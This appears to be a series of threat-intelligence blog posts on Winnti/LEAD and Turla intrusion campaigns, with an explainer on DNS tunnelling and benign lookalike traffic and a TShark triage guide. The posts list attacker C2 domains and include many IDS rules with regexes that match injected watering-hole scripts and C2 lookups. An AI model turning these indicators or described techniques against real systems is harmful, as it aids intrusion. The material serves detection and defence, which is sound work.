In multiple incidents, we found the attackers were using the webbug_getonly malleable C2 profile, which masks itself as a Google Web Bug and performs both directions of communication using only HTTP GETs. The profile encrypts then encodes victim metadata after the utmcc parameter, with __utma inserted at the front. When not sending a command or file, the server responds with a small GIF (See Figure 1).

Figure 1: Cobalt Strike beacon example

When the server has commands or data to send the infected client, it responds with more data appended to the same small GIF it normally uses (see Figure 2). We also observed updated Cobalt Strike binaries being sent this way, typically in the clear.

Figure 2: Example C2 response containing new Cobalt Strike binary.

We’ll continue to monitor the Winnti group and share any new details when possible.

Indicators/Detection

• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (strangelol .com)"; flow:established,to_server; content:"strangelol.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600045; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (strangelol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|strangelol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600044; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (ssrsec .com)"; flow:established,to_server; content:"ssrsec.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600043; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (ssrsec .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|ssrsec|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600042; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (sqlmapff .com)"; flow:established,to_server; content:"sqlmapff.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600041; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (sqlmapff .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|sqlmapff|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600040; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (outerlol .com)"; flow:established,to_server; content:"outerlol.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600039; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (outerlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|outerlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600038; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (microsoftsec .com)"; flow:established,to_server; content:"microsoftsec.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600037; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (microsoftsec .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|microsoftsec|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600036; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (martianlol .com)"; flow:established,to_server; content:"martianlol.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600035; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (martianlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|martianlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600034; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (dnslog .mobi)"; flow:established,to_server; content:"dnslog.mobi"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600033; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (dnslog .mobi)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|dnslog|04|mobi|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600032; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (alienlol .com)"; flow:established,to_server; content:"alienlol.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600031; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (alienlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|alienlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600030; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (securitytactics .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|securitytactics|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600029; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (yoyakuweb .technology)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|yoyakuweb|0a|technology|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600028; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (exoticlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|exoticlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600027; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (google-statics .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|google-statics|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600026; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (google-searching .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|google-searching|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600025; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (awsstatics .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|awsstatics|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600024; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (immigrantlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|immigrantlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600023; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (google-searching .com)"; flow:established,to_server; content:"google-searching.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600022; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (awsstatics .com)"; flow:established,to_server; content:"awsstatics.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600021; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (immigrantlol .com)"; flow:established,to_server; content:"immigrantlol.com"; http_header; fast_pattern; reference:url,https://401trg.com/an-update-on-winnti/; classtype:trojan-activity; sid:600020; rev:3;)

If you would like to automate the intake of these indicators, please see our GitHub Detections repo.

References

• ProtectWise 401TRG - Winnti Evolution - Going Open Source
• Trend Micro 2017 Winnti Report
• Bluecoat / Symantec - 2014 Winnti Report
• Kaspersky Lab - 2013 Winnti Report

A common TTP of the Turla APT group has been based around watering hole attacks. In late 2016, we began observing what is now called the “Clicky” watering hole campaign unfold across the globe, in addition to a similar campaign I’ll refer to as the “img” campaign. With the kickoff of the 401TRG, we have decided it is worth sharing this information to complement the public reporting by our colleagues at ESET. This post will focus on the watering holes, as opposed to post-compromise activity.

For this campaign, Turla has been compromising multiple domains which attract visitors of interest to the the group. The domains are compromised via CMS exploits, then modified with an added script on the homepage of the domain, subsequently forwarding legitimate visitors to a secondary domain which is completely controlled by the attackers. The script (detailed below) forces at least a single HTTP GET request to the secondary domains for either a benign file (PHP or JS) or a page that does not exist (PHP, JS, HTML). The purpose of this single GET request from the watering hole domain is for the group to collect the visitor's public IP address in addition to basic host information provided in the HTTP header (user agent) - to effectively fingerprint the visitors. If the visitor is within a targeted IP range, the attack continues by providing the visitor an additional profiling script, also noted by ESET.

While the groups TTPs are constantly evolving, it is believed this is a method for the attacker to filter targets of interest via the fingerprint to pick out which are in line with the group's agenda. The group only delivers malware to those who they have selected as targets based on the fingerprint. Utilizing the information gathered from this fingerprinting technique the group is able to deliver malware likely to be highly effective on the victim host.

Technical Details

The group has injected various scripts on the compromised domains. Below are samples of the scripts placed either directly on the home page, or within other referenced files loaded by the home page. We have also observed cases where only specific pages of the original compromised domains (the watering hole) contain the injected script. This allowed us to gain additional insight into the target profile of Turla.

Figure 1: One of the first scripts observed. Note the typo // when concatenating var a and var b. (Beautified for readability)

Figure 2: Updated script, corrected and iteration on misdirection attempt. (Beautified for readability)

Figure 3: Modified script for new secondary landing, in addition to the use of the double forward slash instead of specifically using http://. (Beautified for readability)

Figure 4: Separate injected image reference to PHP file. Likely a different campaign reusing attacker infrastructure - “Img” Campaign.

The destination PHP and JS files have been observed as either nonexistent, or replaced with benign file during non-target visits. For example, one use of a benign file was a simple copy of the MD5-generating code from www.myersdaily.org/joseph/javascript/.

Figure 5: HTTP GET request to secondary landing originating from watering hole domain.

Indicators

Suricata IDS Rules

• alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"401TRG - Possible Turla APT SWC Redirect - Clicky Campaign M1"; flow:established,from_server; file_data; content:"clicky_site_ids"; fast_pattern; content:"document.createElement"; nocase; distance:0; within:100; content:"/counter.js"; distance:0; content:"text/javascript"; distance:0; content:".appendChild"; distance:0; content:"|3b|"; pcre:"/^\s*[^\r\n]+.\ssrc\s=\s*[\x22\x27]\s*[a-z]+.getclicky.com/js\s*[\x22\x27]\s*\x3b/Rsi"; reference:url,https://401trg.pw/turla-watering-hole-campaigns-2016-2017/; sid:70045804; rev:1;)

• alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"401TRG - Possible Turla APT SWC Redirect - Clicky Campaign M2"; flow:established,from_server; file_data; content:"document.createElement"; nocase; fast_pattern; content:"var"; distance:0; within:50; content:"text/javascript"; distance:0; content:".appendChild"; distance:0; content:"var"; pcre:"/^\s*(?P[A-Za-z0-9-]{1,20})\s*=\s*[\x22\x27]\shttp\x3a\x2f\x2f[^\r\n]+[\x22\x27]\s\x3b\svar\s(?P[A-Za-z0-9-]{1,20})\s*=\s*[\x22\x27]\s*/[^\r\n]+[\x22\x27]\s*\x3b\s*.+.\ssrc\s=\s*(?P=vara)\s*.\sconcat\s(\s*(?P=varb)\s*)\s*\x3b/Rsi"; reference:url,https://401trg.pw/turla-watering-hole-campaigns-2016-2017/; sid:70045805; rev:1;)

If you would like to automate the intake of these indicators, please see our GitHub Detections repo.

Basic Actor Information

The following information has been collected from shared reports and OSINT. For additional details on other activity from this group, please see the ‘additional resources’ section below.

Associated Group Names:

• Turla - Kaspersky Lab
• Krypton - Microsoft
• Venomous Bear - Crowdstrike

Known Targets of Interest:

Government, NGOs, telecommunications, energy, and education. The group shows special interest in Europe, Australia, and United States. The group's agenda is potentially focused on collecting intellectual property and political information.

TTPs:

Strategic web compromises via CMS exploits to build long standing watering hole campaigns. In addition, the group is known to use satellite ISPs within their attack infrastructure, and spear phishing tactics. Publicly tied to the use of malware called Turla/Uroburos/Snake and WipBot/Tavdig, to name a few.

Recommended Actions

First, understand the tactics and IR processes behind identifying such attacks. For organizations or individuals who were not affected by this campaign, the scenario can be used as a simulation attack to evaluate your detection abilities, in addition to response approach and general understanding. While these tactics are highly targeted and not common to experience in the wild, this can be a great way to evaluate security posture.

If applicable, utilize the provided indicators in security products within your network. These indicators may be helpful in web gateway, firewall, or endpoint products. Please note, not all domains or IP addresses are only used within this campaign. Such indicators may be shared infrastructure for legitimate uses or generally legitimate domains. Triggering on them is not a confirmation of activity or this campaign. Instead, use them in combination as hunting triggers if you have a larger data retention history, due to the age of activity shared in this post.

Additional Resources on this Campaign and Turla

• ESET - Turla’s watering hole campaign: An updated Firefox extension abusing Instagram
• The Epic Turla Operation - Kaspersky Lab

DNS is one of the most important protocols on the modern internet, and any incident responder must be intimately familiar with its inner workings to perform effective triage of almost any event. Most networks, regardless of security, must let at least some DNS traffic egress for the services they use to work properly, and malware authors often take advantage of this fact. Malware authors are not the only ones who find this property useful, however, and a large number of legitimate services exist which use DNS in a similar fashion, complicating the detection of malicious traffic. In this post, we will explore both malicious and benign but suspicious-looking uses of DNS to make it easier to tell them apart.

What Does Malicious Traffic Look Like?

To understand the difference between malicious and benign traffic, it is necessary to first understand the general ways in which malware uses DNS. Two of the most common malware uses of DNS are domain generation algorithms (DGA) and DNS tunneling/C2. There are a number of resources covering these two topics online, so we will only briefly discuss them here. Broadly speaking, DGA is when a piece of malware communicates not with a hardcoded C2 domain, but one that is generated algorithmically, and changing in time. These domains are usually distinct looking, and often contain strings of random looking characters. It is important to note that DGA is not restricted to generating random looking domains, however, and some algorithms use dictionary words to make the domains look less suspicious. The big advantage to malware authors in using DGA is that a single domain being shutdown does not mean they have lost control of their malware. Defenders attempting to shut down malware C2 by blacklisting domains will have a more difficult time since the domains can rotate so quickly.

DNS tunneling, on the other hand, uses DNS itself for data transfer, taking advantage of the fact that most networks will query servers outside of the network for domains they don’t recognize. In the simplest case, the victim machine queries an attacker controlled DNS server, passing it data directly. However, even in an environment where communication via DNS is restricted to trusted servers, information can be tunneled out. A victim machine appends data to a subdomain of a domain whose DNS server(s) the attacker controls, and then sends this query to a DNS server on the victim network. The victim network DNS server will then have to send the request to the authoritative nameserver for the attacker controlled domain, and thus the attacker receives the data from the victim host. Data and commands can also be sent to a victim in this way by encoding them in the returned record. This traffic can also have a number of distinctive features, including the use of TXT records, random looking subdomains of suspicious domains, and subdomains encoded in base64 or NetBIOS encoding.

Benign but Suspicious Looking

While at first glance it may seem like both of these techniques should be distinctive enough as to be obvious to an incident responder, a number of pieces of legitimate software behave in ways that at first glance seems very similar. Perhaps the most common of these is Google Chrome, which queries 3 random domains on startup, as explained by the web developer Mike West. While this is expected behavior to ensure proper operation of the Omnibox for certain types of queries, it can look very suspicious when it appears on your network. A key way to differentiate this from actual malicious traffic is to note that Chrome generated domains will only include root domains which are in your list of default DNS suffixes. For example, if the domain company[.]com is in your list of DNS suffixes, Chrome may generate a DNS query for qlkjasdf and qlkjasdf.company[.]com, but it will never generate a query for qlkjasdf[.]com. It is also notable that the malicious DNS scenarios mentioned above wouldn’t work with a subdomain under your control, unless that subdomain was compromised, since an attacker would not have access to the server where the data is being sent.

Another common class of suspicious looking but ultimately benign traffic is endpoint protection software communicating with its infrastructure. For example, Sophos Extensible List will make a number of different types of queries to sophosxl.net for a variety of different reasons, including IP reputation lookups and ping latency checks. We have observed McAfee and Cymru using DNS in similar ways as well. This traffic can look similar to DNS tunneling (e.g. 4rzjp8zy7i7vawluximoxrko1p2tn58gj0fjjj2g.p.03.s.sophosxl[.]net) because it is essentially using DNS in the same way as malware, though for a benign purpose. As long as the root domain is that of a known endpoint provider that is deployed on your network, this traffic can be classified as benign, though basic domain research and infrastructure analysis are still recommended to confirm.

Finally, you may see two domains on your network, vmkl3890bhue[.]net and asdjkljfjaowjfq[.]net, which at first seem to fit all the criteria of an algorithmically generated domain. They both resolve to IPs, but as of 9/29/17, both have privacy guards on their WHOIS information. Without further research, it would be reasonable to conclude that these were in fact malicious domains, generated by a malware DGA. However, these are actually benign queries performed by ExpressVPN on startup.

Figure 1: ExpressVPN Traffic at Startup

This can be confirmed by inspecting the string contents of expressvpnd, as shown below.


Figures 2-3: Inspecting the string content of the expressvpnd binary for asdjkljfjaowjfq[.]net

Figures 3-4: Inspecting the string content of the expressvpnd binary for vmkl3890bhue[.]net

Accurately identifying malicious DNS can be a daunting task for network defenders, and this is by no means an exhaustive list of common benign but suspicious looking DNS traffic. Many other benign programs take advantage of the generally easy time DNS has transiting firewalls, and you may see other similar queries from different pieces of software. As always, the best course of action is thorough investigation of local traffic and external infrastructure to conclusively determine if a query is malicious or not.

Triaging large packet captures is a daunting task, even for the most seasoned security analysts. With a mountain of data and few leads, analysts need to find ways to pare down what they've captured and focus on the areas that have the highest chance of producing results. In this blog we present four TShark commands and strategies we use to tackle this challenge.

If analysis is being performed on a large packet capture -- something too large to reasonably work with in Wireshark -- and there are no initial leads to pursue, then a good starting point is to summarize what the capture contains. This information can inform the next steps of analysis and ultimately help remove the uninteresting parts. Using TShark, we will gather statistics of traffic within the capture to understand the most valuable pieces of information we need to begin: protocol use, infrastructure, and conversations.

1. Protocols

First, we will get a feel for the protocols in the capture. This helps identify low security value protocols and understand what devices are in the capture. It's important to recognize that protocol classifications can be incorrect, so questionable items may require a closer look later on. To view the protocol classification for a capture, we can use the following TShark command:

tshark -q -r <pcap> -z io,phs

This produces a list of protocols in a hierarchical fashion, similar to the truncated example below:

Figure 1. Sample Protocol Hierarchy Statistics

The more diverse the PCAP, the more complicated and messy this becomes. Focus on understanding the major protocols present and what percentage of the PCAP they represent. What is the breakdown of TCP vs UDP? How much HTTP, DNS, SSL, SMTP, SSH, SMB, and FTP traffic does it contain?

There is a wealth of information in these results to build filters for further analysis. We will dive deeper on how to utilize this information further in future blog posts. At this point use the information to hypothesize what the network represented by the PCAP looks like.

2. Infrastructure - Hosts

After understanding the protocol makeup, get a sense for the capture's infrastructure composition. Since we are looking to reduce the size of our dataset, we need to identify hosts that are likely associated with legitimate traffic. But we also want to keep a clear and concise filter, so we want to ensure that any filtered hosts have enough traffic to make filtering worthwhile. We can accomplish this by looking at traffic summary by hostname.

To generate a list of hostnames and associated IPs, use:

tshark -q -r <pcap> -z hosts

From this list you can begin to identify benign hostnames to filter. For example, removing legitimate services such as Google or Netflix. You can also use this command to identify suspicious hostnames for further investigation. Take it one step further by seeing how the hostnames rank on the Cisco Umbrella 1 Million List.

3. Infrastructure - IPs

Similar to hosts, certain IPs may create a large amount of traffic that isn't interesting for security purposes. Displaying the top talkers is another effective method for identifying endpoints to filter. To get a sense of which IPs generate the most traffic in the capture, we use the TShark command:

tshark -q -r <pcap> -z endpoints,ip

By default, the results are ordered by descending packet count. We are generally more interested in total byte count at this point, but packet numbers often correlate well with total byte counts. The output of this command will likely be a large list with some RFC1918 IPs at the top. It's usually worthwhile to look at the whois of some of the top non-RFC1918 IPs. Additionally, this data can be married with the hostnames output to identify which hostnames are involved with the majority of the traffic.

4. Conversations

Our final method for paring down the capture is based around large IP conversations. This can be a vital step in understanding why some of the IPs listed from the step above have so much traffic. Additionally it can inform you the role of certain IPs and highlight devices you can remove from the focus of your investigation.

This information can be produced using the command:

tshark -q -r <pcap> -z conv,ip

This command will produce another long list, but it will likely highlight a number of noisy talkers.

Wrapping Up

Large PCAP files can contain a lot of information making timely triage a difficult task. After using these commands, you will have a number of data points with which to begin trimming down your packet capture. You should also use leads for the next steps of your investigation. In subsequent blog posts we will discuss how to further analyze these results.

This post was originally published on July 11, 2017, in the offical ProtectWise.com blog. We have since moved it to this 401TRG blog and backdated appropriately.

Update #1: We have published a new post contining additional Winnti details.

If you would like to automate the intake of these indicators, please see our GitHub Detections repo.

Update #2: To better document and share the details of this post with the community, we're going to change form referring to this group as "Winnti" to the more appropriate "LEAD" title. Winnti originated in 2009 as a single group but more current intelligence indicates that the original group can now be better defined as the Winnti umbrella, which LEAD and BARIUM are within.

ProtectWise recently observed a burst of activity and change of tactics from an advanced actor group commonly referred to as “Winnti.” The purpose of this post is to share details of the group’s recent activity in an effort to assist the public in searching for related activity in their networks and preventing future attacks.

About Winnti

The Winnti group has been active since roughly 2009. Significant previous research has been published on the group from a variety of sources, such as Kaspersky, Blue Coat, and TrendMicro. As far back as 2009, the group was detected attacking multiple video game studios, including some in South Korea and Japan, likely attempting to steal various in-game currencies and to compromise developers’ certificates and source code. The original Winnti group is now split into LEAD (APT17) and BARIUM. This activity is associated with LEAD.

Objectives:

• Theft of digital certificates
• Use of stolen certificates to sign malware
• Theft of gaming source code and infrastructure details

TTPs:

• Known Toolset: PIVY, Chopper, PlugX, ZxShell, Winnti
• Phishing HR/recruiting emails for initial infection vector
• CHM email file attachments containing malware
• Use of GitHub for C2 communication

Targets:

• Online video game organizations
• Defense Sector
• Internet Service Providers
• Finance

Attribution:

• Originating Location: China (high confidence)
• Potential Aliases: Wicked Panda, APT17, Mana

Evolution of Winnti - Open source tools, and Mac OS targeting:

Within the Winnti campaigns observed by ProtectWise, the use of open source tooling was common. Specifically, the group has been utilizing the Browser Exploitation Framework (BeEF) and Metasploit Meterpreter. The use of open source tools by advanced actor groups has become increasingly common, as discussed by our colleagues in the industry. To the best of our knowledge this is a new technique for the Winnti group and we expect it to be used in future attacks.

Also noteworthy are attempts to deliver JAR files containing macOS applications which have meterpreter functionality. In addition, victims running Windows were delivered MSI files which were built using a free EXE to MSI converter (http://www.exetomsi.com/).

Figure 1: Summary of attack progression.

Delivery:

The Winnti campaign detailed in this post began with spear phishing emails aimed at a Japanese gaming studio’s staff. At least one of these emails claimed it was from an applicant for a job posting who was listing their relevant experience, along with a link to their resume.

Figure 2: Winnti Phishing Email.

The approximate translation of the Winnti phishing email is as follows:
“I saw your job posting. My main languages are Object-C, JAVA, and Swift, and I have 7 years experience with Ruby and 6 years experience with PHP. I have 5 years experience developing iOS apps, as well as Android apps, AWS, Jenkins, Microsoft Azure, ZendFramework, and smartphone application payment processing. I also have 5 years experience with MSSQL, Mysql, Oracle, and PostgreSQL. Please see here: ”

We observed Winnti using two different techniques when the link was clicked. In the first technique, the user was directed to an HTML page which loaded a fake English resume. In the second technique, which we only observed a few times, the landing page directly downloaded a JAR file to the victim’s machine.

Figure 3: Fake resume loaded in browser. Some items blurred as content may have been stolen.

Figure 4: Fake resume continued.

Landing:

In cases where the above resume is loaded, it is delivered as follows:

Phishing Email Link}/?session={date}{ID}

This page is an HTML file containing a simple iframe instruction to load real.html.

Figure 5: Link-click landing page HTML content.

real.html

This is the HTML file containing the fake resume which will load in browser for the link-click victim. It contains a script which loads the BeEF hook script from a separate external host. The group’s infrastructure changes rapidly, occasionally allowing us to observe them modifying the hook page destination domain over the span of a few minutes. Sometimes the same destination would be referred to by IP in one version of real.html and by hostname in another. Two additional files, resume_screen.css and mypic.jpg, are also loaded to make the resume look more realistic with improved formatting.

Figure 6: Added hook.js load request placed in fake resume.

At this point, in cases where BeEF has been used, exploits are typically attempted on victim hosts with the help of BeEF modules. A commonly used module was Jenkins_groovy_code_exec.

Evasion Techniques:

One of the Winnti group’s distinctive techniques is their particular style of DNS resolution for their C2 domains. Choosing domain names which are similar to valid domains (for example, google-statics[.]com, a misspelling of Google statistics, instead of analytics.google.com), the group configures their DNS so that the root domain resolves to either nothing, or localhost (previous research has observed the root domain resolving to the valid domain it is imitating; we did not observe that in this campaign). Then a subdomain resolves to an actual C2 server. For example, google-statics[.]com, one of the C2 domains observed in this campaign, has no resolutions at time of writing. css.google-statics[.]com, however, resolves to a real C2 IP.

As observed in previous Winnti attacks, the group uses commonly accepted and poorly monitored protocols and ports for their C2 communication (ports 53, 80, 443). With the addition of BeEF, the group has made use of TCP port 8000 as well. Amusingly, the group's use of BeEF has been fairly rudimentary, not even taking advantage of the basic obfuscation features included in the program. We observed the group using GAGAHOOK instead of the default BEEFHOOK session name and BEEFSESSION session cookie name.

Figure 7: BeEF hook.js request.

As in previous Winnti campaigns, the group continues to use legitimate code signing certificates, stolen from online gaming organizations, to sign their malware. This technique can help to hide the malicious intent of the group’s code, allowing it to run in environments where execution is restricted to signed/trusted programs. While unconfirmed as of this writing, we believe the Winnti group is continuing to steal and use certificates from new organizations.

Associated Indicators:

Note: We are redacting the malware hashes while we work with the organization whose digital signature was used on the malware as a potential victim of the Winnti group.